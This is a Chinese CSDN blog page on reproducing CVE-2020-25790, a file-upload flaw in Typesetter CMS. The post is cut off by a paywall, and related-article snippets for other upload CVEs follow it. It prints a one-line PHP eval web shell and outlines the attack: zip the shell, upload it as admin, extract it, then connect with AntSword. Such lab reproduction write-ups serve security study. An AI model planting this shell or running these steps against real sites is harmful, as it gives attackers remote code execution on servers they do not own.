CVE-2020-25790（typesetter 文件上传）

已于 2022-11-15 22:01:01 修改
阅读量1.2k 收藏 1
点赞数 1
分类专栏： 渗透实战 CISP-PTE实战模拟 文章标签： web安全 安全
于 2021-11-24 17:27:36 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/beirry/article/details/121520414
版权
博客详细介绍了CVE-2020-25790，这是一个针对typesetter CMS的文件上传漏洞。作者通过上传包含PHP代码的test.php文件，然后以zip格式绕过权限限制，成功实现文件上传并获取到系统权限。文章强调了CMS在安全检查中的不足，提出不仅应检查文件后缀，还应检查文件内容以防止类似攻击。
摘要由CSDN通过智能技术生成

CVE-2020-25790（typesetter 文件上传）

从web端进入CMS，点击已上传的档案页面
在这里插入图片描述

准备test.php文件，文件内容如下

<?php @eval($_POST['cmd']);?
了解本专栏 订阅专栏 解锁全文 超级会员免费看
beirry
关注
专栏目录
订阅专栏
Typesetter CMS 文件上传漏洞复现(CVE-2020-25790)
玄道的网安博客
12-19 1846
0X00简介 Typesetter CMS 存在代码问题漏洞，该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。 0X01影响范围 Typesetter CMS 5.x全版本，目前GitHub项目中还未修复此漏洞 0X02漏洞复现 虽然对上传的文件进行了过滤，但是没有对解压文件的文件进行过滤，导致可以上传，php的压缩文件，解压后就可以执行php文件。 Finder.class.php文件中extract函数解压后未对，解压后的文件名进行任何过滤 登录管理员账号
typesetter 文件上传（CVE-2020-25790）
小小猪的博客
12-30 842
typesetter 文件上传（CVE-2020-25790） 漏洞简介： Typesetter CMS 内容管理系统是Php源码频道下深受用户喜爱的软件。 Typesetter CMS 存在代码问题漏洞，该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。 环境搭建： 在线环境 地址 漏洞复现： 访问首页 点击logged in 进入登录界面 账号密码： admin admin 创建一句话文件，压缩成压缩包 <?php @eval($...
Typesetter CMS文件上传(CVE-2020-25790)
最新发布
m0_65150886的博客
02-21 352
Typesetter是一款轻量级的CMS，它以其无需数据库的特性和易用的内容编辑功能著称。虽然Typesetter的插件和主题数量不及WordPress，但对于追求简洁和速度的小型网站来说，它是一个不错的选择。Typesetter的用户界面直观，使得内容管理变得非常简单。在Typesetter CMS Typesetter CMS 5.*，<=5.1的版本中，存在代码问题漏洞，该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。7.点击打开提取的php文件，获取文件路径。
typesetter 文件上传 （CVE-2020-25790）漏洞复现
weixin_42675091的博客
09-03 444
typesetter 文件上传 （CVE-2020-25790）漏洞复现
【漏洞复现-TypesetterCms-文件上传ZIP】vulfocus/typesetter-cve_2020_25790
10-10 1042
【压缩后门文件上传】
vulfocus:typesetter 文件上传
qq_43332837的博客
08-24 222
管理员账号密码登入 点击已上传的档案 上传木马文件(zip文件) 解压 点击2.php得到路径 蚁剑连接得到flag
OPENSSH漏洞(CVE-2020-15778 CVE-2018-15473、CVE-2018-15919)修补文件命令
03-31
本篇将详细讨论如何修补OpenSSH中的几个已知漏洞，包括CVE-2020-15778、CVE-2018-15473、CVE-2018-15919。 首先，让我们了解这些特定的漏洞： 1. CVE-2020-15778：这是一个与OpenSSH密钥协商过程相关的漏洞，可能...
SAP_RECON:CVE-2020-6287，CVE-2020-6286的PoC（SAP RECON漏洞）
04-01
CVE-2020-6287，CVE-2020-6286的PoC（SAP RECON漏洞） ff！ RECON（NetWeaver上的可远程利用代码）？ 伙计们，真的吗？ 那是您想到的最好的代号？ :) 此脚本可检查SAP LM配置向导是否缺少授权检查漏洞，并且PoC...
CVE-2020-35728:CVE-2020-35728 和 Jackson-databind RCE
05-31
描述 2.9.10.8 之前的 FasterXML jackson-databind 2.x 错误处理了与 ... web/javax.servlet.jsp.jstl）。 如何RCE pom.xml <?xml version="1.0" encoding="UTF-8"?>...
Typesetter CMS v5.1.zip
07-06
Typesetter CMS简介 TypesetterCMS是一个功能全面的网站内容管理系统，其嵌入式的管理接口可以让用户在一个简单的浏览器窗口中看到网站的改变。 Typesetter CMS特色功能: 真正的所见即所得编辑器 (CKEditor) 图库浏览 (ColorBox) SEO 友好的链接 文件上传管理器 可编辑的风格内容 删除文件到回收站 多用户管理 文本存储 快速页面加载 快速简易安装 HTML Tidy (可选) 方便的数据备份导出功能 Typesetter CMS页面展示 相关阅读 同类推荐：CMS
cve-2020-14750.zip9（补丁升级）
05-26
2020年11月2日，Oracle官方发布了此安全警报针对Oracle WebLogic Server中的远程代码执行漏洞CVE-2020-14750，此漏洞可以在没有身份验证的情况下进行远程攻击，也就是说，可以在不需要用户名和密码的情况下通过网络...
apache 文件上传 (CVE-2017-15715)
weixin_57567689的博客
10-22 601
apache 文件上传 (CVE-2017-15715)
Tomcat任意文件上传(复现)CVE-2017-12615
thelostworld
08-25 124
环境安装，参考一条博客（https://www.jianshu.com/p/d8fbb4f4aa52）或者是Docker安装：安装docker检查kernel内核是否在3.10以上：uname -a检查Device Mapper：sudo grep device-mapper /proc/devices确保apt能使用https方式并且CA证书已安装sudo apt-get install -y ...
Tomcat PUT方法任意文件上传(CVE-2017-12615)
谢公子的博客
09-04 5268
目录 漏洞复现: 漏洞利用工具： 漏洞环境：当 Tomcat运行在Windows操作系统，且启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求上传任意文件，包括JSP类型的木马。影响范围：Apache Tomcat 7.0.0 - 7.0.81 漏洞复现: Tomcat版本：Tomcat 7.0.39...
Dolibarr 文件上传漏洞(CVE-2020-14209)
玄道的网安博客
12-18 831
简介 Dolibarr ERP＆CRM是一个现代软件包，可帮助管理组织的活动（联系人，供应商，发票，订单，库存，议程等）。 这是一个开放源代码软件套件（用PHP编写，具有可选的JavaScript增强功能），适合中小型或大型公司，基金会和自由职业者使用。 漏洞概述 该漏洞允许低权权用户上传危险文件，从而导致任意代码执行。 影响版本 Dolibarr 11.0.5之前版本存在安全漏洞 环境搭建 到GitHub上下载源码 https://github.com/Dolibarr/dolibarr
任意文件上传漏洞（CVE-2018-2894）
m0_64118193的博客
10-20 1701
Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在 ‘生产模式’ 下默认不开启
CVE-2023-0943文件上传漏洞
chaopi_的博客
06-25 212
漏洞出现在site_setting这个页面,利用文件上传可以上传php文件去获取shell。文件上传后可以在源文件的/asset/upload文件夹中看到已经上传的文件。在浏览器中输入路由 +？（命令）即可获取shell。从这边可以看到没有对上传的文件类型进行一个限制。CVE-2023-0943文件上传漏洞。CVE-2023-0943文件上传漏洞。新建一个shell.php文件。
(复现)CVE-2021-21972 Vmware vcenter未授权任意文件上传导致RCE
daxi0ng的博客
06-29 1817
0x00 简介 vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机，使得 IT 管理员能够提高控制能力，简化入场任务，并降低 IT 环境的管理复杂性与成本。 0x01 漏洞概述 vSphere Client（HTML5）在 vCenter Server 插件中存...
Apache Flink CVE-2020-17518：远程文件写入漏洞分析
"Apache Flink的CVE-2020-17518是一个严重的安全漏洞，它允许远程攻击者通过REST API进行目录遍历，从而实现任意文件写入。此漏洞影响Apache Flink的1.5.1至1.11.2版本。攻击者可以通过构造特殊的HTTP请求头来将文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beirry

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值